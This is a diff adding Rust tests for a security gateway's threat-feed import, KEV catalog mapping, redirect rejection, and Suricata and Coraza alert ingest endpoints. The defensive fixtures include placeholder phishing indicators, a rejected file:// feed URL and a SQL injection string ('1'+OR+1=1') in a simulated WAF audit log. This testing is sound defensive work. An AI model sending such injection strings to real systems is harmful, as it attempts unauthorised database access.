+                "/domains",
+                get(|| async {
+                    (
+                        StatusCode::OK,
+                        "evil.example\nhttps://evil.example/path\nlogin.bad.example\n",
+                    )
+                }),
+            )
+            .route(
+                "/ips",
+                get(|| async { (StatusCode::OK, "198.51.100.200\n203.0.113.77\nbad-ip\n") }),
+            );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, feed_mock).into_future());
+
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let payload = phishing_database_import_request(&format!("http://{addr}"));
+
+        let unauthorized = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import/phishing-database",
+                None,
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let invalid_request = PhishingDatabaseImportRequest {
+            ttl_seconds: 0,
+            domain_url: "file:///tmp/not-allowed".to_string(),
+            ..payload.clone()
+        };
+        let invalid = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import/phishing-database",
+                Some("secret"),
+                &invalid_request,
+            ),
+        )
+        .await;
+        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
+
+        let import_result: ThreatFeedImportResult = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/threat-feeds/import/phishing-database",
+                    Some("secret"),
+                    &payload,
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(import_result.feed_id, "phishing-db-seoul");
+        assert_eq!(import_result.upserted_threats, 2);
+        assert_eq!(import_result.upserted_dnsbl, 2);
+        let audit_logs: Vec = json_body(
+            app_request(
+                &app,
+                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            audit_logs
+                .iter()
+                .any(|item| item.action == "import_phishing_database_feed")
+        );
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(threat_entries.iter().any(
+            |entry| entry.value == "evil.example" && entry.indicator_type == "phishing_domain"
+        ));
+        assert!(
+            threat_entries
+                .iter()
+                .any(|entry| entry.value == "login.bad.example"
+                    && entry.source == "phishing-db-seoul")
+        );
+
+        let dnsbl_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(
+            dnsbl_entries
+                .iter()
+                .any(|entry| entry.address == "198.51.100.200".parse::().unwrap())
+        );
+        assert!(
+            dnsbl_entries
+                .iter()
+                .any(|entry| entry.address == "203.0.113.77".parse::().unwrap())
+        );
+
+        let block_route = RouteConfig {
+            id: "phish".to_string(),
+            path_prefix: "/phish".to_string(),
+            upstream: "mock://phish".to_string(),
+            mode: EnforcementMode::Block,
+            enabled: true,
+            block_threshold: Some(50),
+        };
+        let route_response = app_request(
+            &app,
+            json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
+        )
+        .await;
+        assert_eq!(route_response.status(), StatusCode::CREATED);
+
+        let blocked = app_request(
+            &app,
+            empty_request(
+                Method::GET,
+                "/gateway/phish?q=https%3A%2F%2Fevil.example%2Flogin",
+            ),
+        )
+        .await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+    }
+
+    #[tokio::test]
+    async fn phishing_database_import_rejects_redirected_feed_fetches() {
+        let target_feed = Router::new()
+            .route(
+                "/domains",
+                get(|| async { (StatusCode::OK, "evil.example\n") }),
+            )
+            .route(
+                "/ips",
+                get(|| async { (StatusCode::OK, "198.51.100.200\n") }),
+            );
+        let target_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let target_addr = target_listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(target_listener, target_feed).into_future());
+
+        let redirect_domains = format!("http://{target_addr}/domains");
+        let redirect_ips = format!("http://{target_addr}/ips");
+        let redirect_feed = Router::new()
+            .route(
+                "/domains",
+                get(move || {
+                    let location = redirect_domains.clone();
+                    async move { (StatusCode::FOUND, [("location", location)]) }
+                }),
+            )
+            .route(
+                "/ips",
+                get(move || {
+                    let location = redirect_ips.clone();
+                    async move { (StatusCode::FOUND, [("location", location)]) }
+                }),
+            );
+        let redirect_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let redirect_addr = redirect_listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(redirect_listener, redirect_feed).into_future());
+
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let payload = phishing_database_import_request(&format!("http://{redirect_addr}"));
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import/phishing-database",
+                Some("secret"),
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::BAD_GATEWAY);
+    }
+
+    #[tokio::test]
+    async fn kev_feed_import_endpoint_maps_catalog_to_cve_indicators() {
+        let catalog = serde_json::json!({
+            "title": "CISA Catalog of Known Exploited Vulnerabilities",
+            "catalogVersion": "2026.08.27",
+            "dateReleased": "2026-08-27T17:00:36.6632Z",
+            "count": 2,
+            "vulnerabilities": [
+                {
+                    "cveID": "CVE-2023-49105",
+                    "vendorProject": "ownCloud",
+                    "product": "ownCloud",
+                    "vulnerabilityName": "ownCloud Improper Authentication Vulnerability",
+                    "dateAdded": "2026-08-27",
+                    "shortDescription": "desc",
+                    "requiredAction": "action",
+                    "dueDate": "2026-08-30",
+                    "knownRansomwareCampaignUse": "Unknown",
+                    "notes": "",
+                    "cwes": ["CWE-287"]
+                },
+                {
+                    "cveID": "CVE-2021-44228",
+                    "vendorProject": "Apache",
+                    "product": "Log4j2",
+                    "vulnerabilityName": "Apache Log4j2 RCE",
+                    "dateAdded": "2021-12-10",
+                    "shortDescription": "desc",
+                    "requiredAction": "action",
+                    "dueDate": "2021-12-24",
+                    "knownRansomwareCampaignUse": "Known",
+                    "notes": "",
+                    "cwes": ["CWE-917"]
+                }
+            ]
+        });
+        let feed_mock = Router::new().route(
+            "/kev.json",
+            get(move || {
+                let body = catalog.to_string();
+                async move { (StatusCode::OK, body) }
+            }),
+        );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, feed_mock).into_future());
+
+        let app = build_app(
+            AppState::seeded(Some("secret".to_string()))
+                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
+        );
+        let payload = kev_import_request();
+
+        let unauthorized = app_request(
+            &app,
+            json_request(Method::POST, "/api/threat-intel/cisa-kev", None, &payload),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let invalid_request = KevImportRequest {
+            ttl_seconds: 0,
+            ..payload.clone()
+        };
+        let invalid = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                Some("secret"),
+                &invalid_request,
+            ),
+        )
+        .await;
+        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
+
+        let import_result: ThreatFeedImportResult = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/threat-intel/cisa-kev",
+                    Some("secret"),
+                    &payload,
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(import_result.feed_id, "cisa-kev-seoul");
+        assert_eq!(import_result.upserted_threats, 2);
+        assert_eq!(import_result.upserted_dnsbl, 0);
+
+        let audit_logs: Vec = json_body(
+            app_request(
+                &app,
+                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            audit_logs
+                .iter()
+                .any(|item| item.action == "import_kev_feed")
+        );
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        let owncloud = threat_entries
+            .iter()
+            .find(|entry| entry.value == "CVE-2023-49105")
+            .expect("ownCloud CVE upserted");
+        assert_eq!(owncloud.indicator_type, "cve");
+        assert_eq!(owncloud.severity, Severity::High);
+        assert_eq!(owncloud.source, "feed:cisa-kev");
+        let log4j = threat_entries
+            .iter()
+            .find(|entry| entry.value == "CVE-2021-44228")
+            .expect("Log4j CVE upserted");
+        assert_eq!(
+            log4j.severity,
+            Severity::Critical,
+            "ransomware-linked CVE escalates to critical"
+        );
+
+        let freshness: Vec = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/threat-feeds/freshness"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            freshness
+                .iter()
+                .any(|feed| feed.feed_id == "cisa-kev-seoul" && !feed.stale)
+        );
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/threat-intel/cisa-kev")
+        );
+    }
+
+    #[tokio::test]
+    async fn kev_feed_import_requires_configured_write_credential() {
+        let app = build_app(
+            AppState::seeded(None).with_kev_catalog_url("http://127.0.0.1:9/kev.json".to_string()),
+        );
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                None,
+                &kev_import_request(),
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE);
+        let body = body_text(response).await;
+        assert!(body.contains("configured write-capable admin credential"));
+    }
+
+    #[tokio::test]
+    async fn kev_feed_import_rejects_redirected_feed_fetches() {
+        let target_feed = Router::new().route(
+            "/kev.json",
+            get(|| async {
+                (
+                    StatusCode::OK,
+                    r#"{"vulnerabilities":[{"cveID":"CVE-2024-0001"}]}"#,
+                )
+            }),
+        );
+        let target_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let target_addr = target_listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(target_listener, target_feed).into_future());
+
+        let redirect_target = format!("http://{target_addr}/kev.json");
+        let redirect_feed = Router::new().route(
+            "/kev.json",
+            get(move || {
+                let location = redirect_target.clone();
+                async move { (StatusCode::FOUND, [("location", location)]) }
+            }),
+        );
+        let redirect_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let redirect_addr = redirect_listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(redirect_listener, redirect_feed).into_future());
+
+        let app = build_app(
+            AppState::seeded(Some("secret".to_string()))
+                .with_kev_catalog_url(format!("http://{redirect_addr}/kev.json")),
+        );
+        let payload = kev_import_request();
+
+        let response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                Some("secret"),
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::BAD_GATEWAY);
+    }
+
+    #[test]
+    fn validate_kev_import_request_checks_feed_metadata_only() {
+        // The request no longer carries a URL at all (see import_kev_feed:
+        // it always fetches AppState::kev_catalog_url, server-side config
+        // only), so validation is limited to the feed metadata fields.
+        assert!(validate_kev_import_request(&kev_import_request()).is_ok());
+
+        let blank_feed_id = KevImportRequest {
+            feed_id: "  ".to_string(),
+            ..kev_import_request()
+        };
+        assert!(validate_kev_import_request(&blank_feed_id).is_err());
+
+        let blank_source = KevImportRequest {
+            source: "".to_string(),
+            ..kev_import_request()
+        };
+        assert!(validate_kev_import_request(&blank_source).is_err());
+
+        let zero_ttl = KevImportRequest {
+            ttl_seconds: 0,
+            ..kev_import_request()
+        };
+        assert!(validate_kev_import_request(&zero_ttl).is_err());
+    }
+
+    #[tokio::test]
+    async fn kev_cve_indicators_never_block_legitimate_requests() {
+        // A CVE identifier tracked from a KEV import is vulnerability
+        // metadata, not a request-content attack signature. A legitimate
+        // request that happens to reference a cataloged CVE (e.g. a
+        // vulnerability-management dashboard proxied through the gateway)
+        // must not be blocked just because the identifier appears in it.
+        let feed_mock = Router::new().route(
+            "/kev.json",
+            get(|| async {
+                (
+                    StatusCode::OK,
+                    r#"{"vulnerabilities":[{"cveID":"CVE-2021-44228","knownRansomwareCampaignUse":"Known"}]}"#,
+                )
+            }),
+        );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, feed_mock).into_future());
+
+        let app = build_app(
+            AppState::seeded(Some("secret".to_string()))
+                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
+        );
+        let payload = kev_import_request();
+        let imported = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                Some("secret"),
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(imported.status(), StatusCode::CREATED);
+
+        let block_route = RouteConfig {
+            id: "cve-lookup".to_string(),
+            path_prefix: "/cve-lookup".to_string(),
+            upstream: "mock://cve-lookup".to_string(),
+            mode: EnforcementMode::Block,
+            enabled: true,
+            block_threshold: None,
+        };
+        let route_response = app_request(
+            &app,
+            json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
+        )
+        .await;
+        assert_eq!(route_response.status(), StatusCode::CREATED);
+
+        let undecidable = app_request(
+            &app,
+            empty_request(Method::GET, "/gateway/cve-lookup?id=CVE-2021-44228"),
+        )
+        .await;
+        assert_eq!(
+            undecidable.status(),
+            StatusCode::SERVICE_UNAVAILABLE,
+            "KEV metadata must not become a request signature; without a proven WAF, an otherwise-allowed block-mode request is unavailable rather than falsely blocked"
+        );
+    }
+
+    #[tokio::test]
+    async fn kev_feed_refresh_removes_withdrawn_cves() {
+        let initial_catalog = serde_json::json!({
+            "vulnerabilities": [
+                {"cveID": "CVE-2023-49105", "knownRansomwareCampaignUse": "Unknown"},
+                {"cveID": "CVE-2021-44228", "knownRansomwareCampaignUse": "Known"}
+            ]
+        });
+        let refreshed_catalog = serde_json::json!({
+            "vulnerabilities": [
+                {"cveID": "CVE-2023-49105", "knownRansomwareCampaignUse": "Unknown"}
+            ]
+        });
+        let catalogs = Arc::new(Mutex::new(vec![
+            initial_catalog.to_string(),
+            refreshed_catalog.to_string(),
+        ]));
+        let feed_mock = Router::new().route(
+            "/kev.json",
+            get(move || {
+                let catalogs = catalogs.clone();
+                async move {
+                    let body = catalogs.lock().await.remove(0);
+                    (StatusCode::OK, body)
+                }
+            }),
+        );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, feed_mock).into_future());
+
+        let app = build_app(
+            AppState::seeded(Some("secret".to_string()))
+                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
+        );
+        let payload = kev_import_request();
+
+        let first_import = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                Some("secret"),
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(first_import.status(), StatusCode::CREATED);
+
+        let second_import = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-intel/cisa-kev",
+                Some("secret"),
+                &payload,
+            ),
+        )
+        .await;
+        assert_eq!(second_import.status(), StatusCode::CREATED);
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threat_entries
+                .iter()
+                .any(|entry| entry.value == "CVE-2023-49105")
+        );
+        assert!(
+            threat_entries
+                .iter()
+                .all(|entry| entry.value != "CVE-2021-44228"),
+            "withdrawn CVEs should be removed on refresh"
+        );
+    }
+
+    #[tokio::test]
+    async fn feed_refresh_preserves_indicators_still_owned_by_another_feed() {
+        // Two independently-managed feeds can legitimately report the same
+        // indicator_type+value+source. Refreshing one feed without it must
+        // not delete it while the other feed still claims it.
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let shared = ThreatIndicator {
+            value: "198.51.100.77".to_string(),
+            indicator_type: "ip".to_string(),
+            severity: Severity::High,
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+        };
+        let feed_a = ThreatFeedImport {
+            feed_id: "feed-a".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+            threats: vec![shared.clone()],
+            dnsbl: Vec::new(),
+        };
+        let feed_b = ThreatFeedImport {
+            feed_id: "feed-b".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+            threats: vec![shared.clone()],
+            dnsbl: Vec::new(),
+        };
+        for feed in [&feed_a, &feed_b] {
+            let imported = app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/threat-feeds/import",
+                    Some("secret"),
+                    feed,
+                ),
+            )
+            .await;
+            assert_eq!(imported.status(), StatusCode::CREATED);
+        }
+
+        // validate_threat_feed_import requires at least one threat or DNSBL
+        // entry, so refreshes carry an unrelated DNSBL row to stay valid
+        // while genuinely dropping the shared indicator from `threats`.
+        let placeholder_dnsbl = DnsblEntry {
+            address: "203.0.113.9".parse().unwrap(),
+            code: "127.0.0.5".to_string(),
+            reason: "refresh placeholder".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+            prefix_len: None,
+        };
+
+        // Feed A refreshes and drops the shared indicator; feed B still owns it.
+        let feed_a_refresh = ThreatFeedImport {
+            threats: Vec::new(),
+            dnsbl: vec![placeholder_dnsbl.clone()],
+            ..feed_a.clone()
+        };
+        let refreshed = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &feed_a_refresh,
+            ),
+        )
+        .await;
+        assert_eq!(refreshed.status(), StatusCode::CREATED);
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threat_entries
+                .iter()
+                .any(|entry| entry.value == shared.value),
+            "an indicator still owned by feed-b must survive feed-a's refresh"
+        );
+
+        // Feed B now also drops it -- no feed owns it any more, so it's reaped.
+        let feed_b_refresh = ThreatFeedImport {
+            threats: Vec::new(),
+            dnsbl: vec![placeholder_dnsbl],
+            ..feed_b.clone()
+        };
+        let refreshed = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &feed_b_refresh,
+            ),
+        )
+        .await;
+        assert_eq!(refreshed.status(), StatusCode::CREATED);
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threat_entries
+                .iter()
+                .all(|entry| entry.value != shared.value),
+            "an indicator no feed owns any more should be reaped"
+        );
+    }
+
+    #[tokio::test]
+    async fn feed_refresh_preserves_indicators_independently_upserted_by_operator() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let shared = ThreatIndicator {
+            value: "198.51.100.88".to_string(),
+            indicator_type: "ip".to_string(),
+            severity: Severity::High,
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+        };
+        let feed = ThreatFeedImport {
+            feed_id: "feed-a".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+            threats: vec![shared.clone()],
+            dnsbl: Vec::new(),
+        };
+        let imported = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &feed,
+            ),
+        )
+        .await;
+        assert_eq!(imported.status(), StatusCode::CREATED);
+
+        let operator_upsert = app_request(
+            &app,
+            json_request(Method::POST, "/api/threats", Some("secret"), &shared),
+        )
+        .await;
+        assert_eq!(operator_upsert.status(), StatusCode::CREATED);
+
+        let placeholder_dnsbl = DnsblEntry {
+            address: "203.0.113.10".parse().unwrap(),
+            code: "127.0.0.5".to_string(),
+            reason: "refresh placeholder".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 600,
+            prefix_len: None,
+        };
+        let refresh = ThreatFeedImport {
+            threats: Vec::new(),
+            dnsbl: vec![placeholder_dnsbl],
+            ..feed
+        };
+        let refreshed = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &refresh,
+            ),
+        )
+        .await;
+        assert_eq!(refreshed.status(), StatusCode::CREATED);
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(
+            threat_entries
+                .iter()
+                .any(|entry| entry.value == shared.value),
+            "operator-managed indicator must survive feed withdrawal"
+        );
+    }
+
+    #[tokio::test]
+    async fn feed_refresh_preserves_operator_managed_indicator_payload() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let operator_indicator = ThreatIndicator {
+            value: "198.51.100.89".to_string(),
+            indicator_type: "ip".to_string(),
+            severity: Severity::Critical,
+            source: "shared-source".to_string(),
+            ttl_seconds: 86_400,
+        };
+        let created = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threats",
+                Some("secret"),
+                &operator_indicator,
+            ),
+        )
+        .await;
+        assert_eq!(created.status(), StatusCode::CREATED);
+
+        let feed = ThreatFeedImport {
+            feed_id: "feed-a".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 60,
+            threats: vec![ThreatIndicator {
+                severity: Severity::Low,
+                ttl_seconds: 60,
+                ..operator_indicator.clone()
+            }],
+            dnsbl: Vec::new(),
+        };
+        let imported = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &feed,
+            ),
+        )
+        .await;
+        assert_eq!(imported.status(), StatusCode::CREATED);
+
+        let refresh = ThreatFeedImport {
+            threats: Vec::new(),
+            dnsbl: vec![DnsblEntry {
+                address: "203.0.113.19".parse().unwrap(),
+                code: "127.0.0.19".to_string(),
+                reason: "refresh placeholder".to_string(),
+                source: "shared-source".to_string(),
+                ttl_seconds: 60,
+                prefix_len: None,
+            }],
+            ..feed
+        };
+        let refreshed = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                Some("secret"),
+                &refresh,
+            ),
+        )
+        .await;
+        assert_eq!(refreshed.status(), StatusCode::CREATED);
+
+        let threat_entries: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        let stored = threat_entries
+            .iter()
+            .find(|entry| {
+                entry.value == operator_indicator.value
+                    && entry.indicator_type == operator_indicator.indicator_type
+                    && entry.source == operator_indicator.source
+            })
+            .expect("operator-managed indicator should remain present");
+        assert_eq!(stored.severity, Severity::Critical);
+        assert_eq!(stored.ttl_seconds, 86_400);
+    }
+
+    #[tokio::test]
+    async fn import_result_excludes_operator_owned_threats_from_upserted_count() {
+        // apply_threat_feed_import skips upserting threats whose key is
+        // operator-owned (see feed_refresh_preserves_operator_managed_indicator_payload),
+        // so the reported upserted_threats count must reflect what was
+        // actually applied, not the feed's full submitted set.
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let operator_indicator = ThreatIndicator {
+            value: "198.51.100.90".to_string(),
+            indicator_type: "ip".to_string(),
+            severity: Severity::Critical,
+            source: "shared-source".to_string(),
+            ttl_seconds: 86_400,
+        };
+        let created = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threats",
+                Some("secret"),
+                &operator_indicator,
+            ),
+        )
+        .await;
+        assert_eq!(created.status(), StatusCode::CREATED);
+
+        let feed = ThreatFeedImport {
+            feed_id: "feed-b".to_string(),
+            source: "shared-source".to_string(),
+            ttl_seconds: 60,
+            threats: vec![
+                ThreatIndicator {
+                    severity: Severity::Low,
+                    ttl_seconds: 60,
+                    ..operator_indicator.clone()
+                },
+                ThreatIndicator {
+                    value: "198.51.100.91".to_string(),
+                    indicator_type: "ip".to_string(),
+                    severity: Severity::Low,
+                    source: "shared-source".to_string(),
+                    ttl_seconds: 60,
+                },
+            ],
+            dnsbl: Vec::new(),
+        };
+        let import_result: ThreatFeedImportResult = json_body(
+            app_request(
+                &app,
+                json_request(
+                    Method::POST,
+                    "/api/threat-feeds/import",
+                    Some("secret"),
+                    &feed,
+                ),
+            )
+            .await,
+        )
+        .await;
+        assert_eq!(
+            import_result.upserted_threats, 1,
+            "only the non-operator-owned threat should count as upserted"
+        );
+    }
+
+    #[tokio::test]
+    async fn suricata_eve_ingest_maps_alerts_to_security_events() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/ids/suricata/eve")
+                .header("content-type", "application/json")
+                .body(Body::from(
+                    r#"{"event_type":"alert","src_ip":"203.0.113.50","alert":{"signature":"x","severity":1}}"#,
+                ))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let ndjson = r#"
+{"event_type":"stats"}
+{"event_type":"alert","src_ip":"203.0.113.50","dest_ip":"198.51.100.1","dest_port":80,"alert":{"signature":"ET WEB_SERVER SQLi","category":"Web Application Attack","severity":1},"http":{"url":"/x?id=1"}}
+"#;
+        let response = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/ids/suricata/eve")
+                .header("content-type", "application/x-ndjson")
+                .header("x-admin-token", "secret")
+                .body(Body::from(ndjson))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["accepted_alerts"], 1);
+        assert_eq!(body["skipped_non_alerts"], 1);
+        assert_eq!(body["event_ids"].as_array().unwrap().len(), 1);
+
+        let events: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
+        let ingested = events
+            .iter()
+            .find(|e| e.reason.contains("ET WEB_SERVER SQLi"))
+            .expect("suricata alert event");
+        assert_eq!(ingested.action, "block");
+        assert_eq!(ingested.score, 80);
+        assert_eq!(ingested.path, "/x?id=1");
+        assert_eq!(ingested.client_ip, Some("203.0.113.50".parse().unwrap()));
+
+        let audit: Vec = json_body(
+            app_request(
+                &app,
+                Request::builder()
+                    .method(Method::GET)
+                    .uri("/api/audit-logs")
+                    .header("x-admin-token", "secret")
+                    .body(Body::empty())
+                    .unwrap(),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            audit
+                .iter()
+                .any(|entry| entry.action == "import_suricata_eve")
+        );
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/ids/suricata/eve")
+        );
+    }
+
+    #[tokio::test]
+    async fn coraza_audit_ingest_maps_crs_hits_to_security_events() {
+        let app = build_app(AppState::seeded(Some("secret".to_string())));
+        let unauthorized = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/waf/coraza/audit")
+                .header("content-type", "application/json")
+                .body(Body::from(
+                    r#"{"transaction":{"is_interrupted":true,"request":{"uri":"/"},"response":{"http_code":403}},"messages":[{"message":"x","data":{"id":1,"severity":2}}]}"#,
+                ))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
+
+        let audit_json = r#"{
+          "transaction": {
+            "client_ip": "203.0.113.77",
+            "time_stamp": "2024-06-15T12:34:56+0000",
+            "is_interrupted": true,
+            "request": { "uri": "/search?q=1'+OR+1=1" },
+            "response": { "http_code": 403 }
+          },
+          "messages": [
+            {
+              "message": "SQL Injection Attack Detected via libinjection",
+              "data": { "id": 942100, "severity": 2 }
+            }
+          ]
+        }"#;
+        let response = app_request(
+            &app,
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/waf/coraza/audit")
+                .header("content-type", "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(audit_json))
+                .unwrap(),
+        )
+        .await;
+        assert_eq!(response.status(), StatusCode::CREATED);
+        let body: serde_json::Value = json_body(response).await;
+        assert_eq!(body["accepted_hits"], 1);
+        assert_eq!(body["event_ids"].as_array().unwrap().len(), 1);
+        assert!(body["enforcement_hints"].as_u64().unwrap() >= 1);
+
+        let events: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
+        let ingested = events
+            .iter()
+            .find(|e| e.reason.contains("942100"))
+            .expect("coraza crs event");
+        assert_eq!(ingested.action, "block");
+        assert_eq!(ingested.path, "/search?q=1'+OR+1=1");
+        assert_eq!(ingested.client_ip, Some("203.0.113.77".parse().unwrap()));
+        assert_eq!(ingested.timestamp_unix, 1_718_454_896);
+
+        // Engine hit feeds DNSBL + client_ip indicators so gateway block mode enforces.
+        let route_resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                Some("secret"),
+                &serde_json::json!({
+                    "id": "search-block",
+                    "path_prefix": "/search",
+                    "upstream": "mock://x",
+                    "mode": "block",
+                    "enabled": true
+                }),
+            ),
+        )
+        .await;
+        assert_eq!(route_resp.status(), StatusCode::CREATED);
+        let blocked = app_request(
+            &app,
+            gateway_get_from_ip("/gateway/search?q=1", "203.0.113.77"),
+        )
+        .await;
+        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
+        let allowed = app_request(
+            &app,
+            gateway_get_from_ip("/gateway/search?q=1", "198.51.100.9"),
+        )
+        .await;
+        assert_ne!(allowed.status(), StatusCode::FORBIDDEN);
+
+        let audit: Vec = json_body(
+            app_request(
+                &app,
+                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            audit
+                .iter()
+                .any(|entry| entry.action == "import_coraza_audit")
+        );
+
+        let manifest: BuyerEvidenceManifest = json_body(
+            app_request(
+                &app,
+                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
+            )
+            .await,
+        )
+        .await;
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.path == "/api/waf/coraza/audit")
+        );
+    }
+
